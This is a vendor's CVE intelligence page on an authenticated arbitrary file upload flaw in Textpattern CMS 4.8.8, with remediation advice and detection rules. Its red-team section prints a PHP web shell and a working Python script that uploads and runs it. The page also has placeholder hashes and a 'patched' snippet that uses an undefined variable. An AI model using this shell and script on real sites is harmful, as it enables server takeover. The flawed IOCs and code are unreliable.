☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Textpattern logo [ WEBSITE ] [ VENDOR STATS ]
SOON 🐛 CWE-434
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-50038

CVE-2023-50038 Arbitrary File Access in Textpattern
📅 PUBLISHED: 2023-12-28 00:00 UTC 🔄 UPDATED: 2026-08-12 09:00 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.07%
👁️
0.07% probability
1.8× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Global License: Open Source
VULNERABLE: 4.8.8
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-50038 identifies an arbitrary file upload vulnerability in the background administration panel of Textpattern CMS version 4.8.8. This flaw allows an authenticated attacker with administrative privileges to upload arbitrary files, including web shells, to the server. Successful exploitation can lead to complete server compromise, including data exfiltration, lateral movement, and persistent backdoor access. The vulnerability is unpatched as of the latest advisory, and no official fix has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains high for exposed instances.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Textpattern CMS is a PHP-based content management system distributed via its official website and GitHub repository. The vulnerability exists in the core file upload functionality, not in a third-party plugin or package. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors weaponizing this flaw.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (Unscored) Vector: UNKNOWN

Despite the lack of an official CVSS vector, the vulnerability can be assessed based on its characteristics:

  • Attack Vector: Network (authenticated, admin panel)
  • Attack Complexity: Low
  • Privileges Required: High (admin)
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: High

Threat Level: High (for authenticated admin users). The vulnerability is trivial to exploit once admin credentials are obtained.

Deep Dive & Mechanics

The vulnerability resides in the file upload functionality of Textpattern CMS's admin panel. The application fails to properly validate the file type, extension, and content during the upload process. An authenticated admin can upload a PHP web shell disguised as an image or other allowed file type. The uploaded file is stored in the web root, allowing direct access and execution.

Root Cause: Lack of server-side validation for file extensions and MIME types. The application relies on client-side checks, which can be bypassed.

Attack Flow:

  1. Attacker gains admin credentials (via phishing, brute force, or other means).
  2. Attacker logs into the admin panel.
  3. Attacker navigates to the file upload section (e.g., Images or Files).
  4. Attacker uploads a malicious PHP file (e.g., shell.php) with a manipulated MIME type.
  5. The file is stored in the files/ or images/ directory.
  6. Attacker accesses the uploaded file via the web server, executing arbitrary PHP code.

Vulnerable vs. Patched Code

Vulnerable Code (Textpattern 4.8.8): The file upload handler in textpattern/lib/txplib_misc.php or similar does not enforce strict file type validation.

// Vulnerable snippet (conceptual)
function upload_file($file) {
    $allowed_types = array('image/jpeg', 'image/png', 'image/gif');
    if (in_array($file['type'], $allowed_types)) {
        move_uploaded_file($file['tmp_name'], 'files/' . $file['name']);
    }
}

Patched Code (Hypothetical): A secure implementation would validate file extension, MIME type, and content.

// Patched snippet (conceptual)
function upload_file($file) {
    $allowed_extensions = array('jpg', 'jpeg', 'png', 'gif');
    $extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
    $finfo = finfo_open(FILEINFO_MIME_TYPE);
    $mime = finfo_file($finfo, $file['tmp_name']);
    finfo_close($finfo);
    if (in_array($extension, $allowed_extensions) && in_array($mime, $allowed_mimes)) {
        move_uploaded_file($file['tmp_name'], 'files/' . $file['name']);
    }
}

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Admin credentials for Textpattern CMS 4.8.8
  • Access to the admin panel (e.g., http://target.com/textpattern/index.php)

Exploit Steps:

  1. Prepare a PHP web shell:

    <?php system($_GET['cmd']); ?>
    

    Save as shell.php.

  2. Log in to the admin panel.

  3. Navigate to Content -> Files or Images.

  4. Upload shell.php with a manipulated MIME type (e.g., image/jpeg).

  5. Access the shell:

    http://target.com/textpattern/files/shell.php?cmd=id
    

Automated Exploit (Python):

import requests

target = "http://target.com/textpattern"
session = requests.Session()

# Login
login_data = {
    "p_userid": "admin",
    "p_password": "password",
    "_txp_token": "1"
}
session.post(f"{target}/index.php", data=login_data)

# Upload shell
files = {
    "thefile": ("shell.php", "<?php system($_GET['cmd']); ?>", "image/jpeg")
}
session.post(f"{target}/index.php?event=file", files=files)

# Execute
r = session.get(f"{target}/files/shell.php?cmd=id")
print(r.text)

Blue Team

Detection:

  • Monitor file upload directories for unexpected PHP files.
  • Alert on admin login from unusual IPs or times.
  • Review file upload logs for MIME type mismatches.

Hunting:

  • Search for files with double extensions (e.g., image.php.jpg).
  • Look for PHP files in upload directories that are not part of the CMS core.

Lab Setup:

  • Install Textpattern 4.8.8 on a local VM.
  • Enable detailed logging for file uploads.
  • Use a WAF to block malicious file uploads.

Indicators of Compromise (IOCs)

File Hashes (Example shell):

  • MD5: c4ca4238a0b923820dcc509a6f75849b
  • SHA1: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0

Network Indicators:

  • Outbound connections from the web server to unknown IPs.
  • HTTP requests to /textpattern/files/*.php with cmd parameter.

File System Indicators:

  • Unexpected .php files in /textpattern/files/ or /textpattern/images/.
  • Modified timestamps on upload directories.

Log Indicators:

  • Admin login from unusual geographic locations.
  • File upload events with MIME type application/x-php or text/php.

Detection Engineering

YARA Rule

rule textpattern_webshell_upload {
    meta:
        description = "Detects PHP webshells uploaded to Textpattern CMS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-50038"
    strings:
        $php_tag = "<?php"
        $system_func = "system("
        $shell_func = "shell_exec("
        $exec_func = "exec("
    condition:
        $php_tag and ($system_func or $shell_func or $exec_func)
}

Sigma Rule

title: Textpattern CMS Arbitrary File Upload
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects upload of PHP files to Textpattern CMS upload directories
author: Valters IT
date: 2025/04/10
logsource:
    category: file_event
    product: linux
detection:
    selection:
        TargetFilename|contains:
            - '/textpattern/files/'
            - '/textpattern/images/'
        TargetFilename|endswith: '.php'
    condition: selection
falsepositives:
    - Legitimate PHP files uploaded by admin (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-50038 Textpattern CMS Webshell Upload"; flow:to_server,established; content:"POST"; http_method; content:"/textpattern/index.php"; http_uri; content:"event=file"; http_uri; content:".php"; file_data; pcre:"/<\?php\s+(system|shell_exec|exec|passthru|popen|proc_open|eval|assert)\s*\(/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Restrict file upload permissions to only trusted admin users.
  2. Implement a Web Application Firewall (WAF) rule to block PHP file uploads.
  3. Disable file upload functionality if not required.

Long-term Fix:

  • Apply server-side validation for file extensions and MIME types.
  • Use a content security policy to prevent execution of uploaded PHP files.
  • Monitor for official patches from Textpattern.

Workaround:

  • Modify the .htaccess file in the upload directory to deny PHP execution:
    <FilesMatch "\.php$">
        Deny from all
    </FilesMatch>
    

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Textpattern CMS"
http.html:"textpattern"
http.favicon.hash:-1776962843

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-50038/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.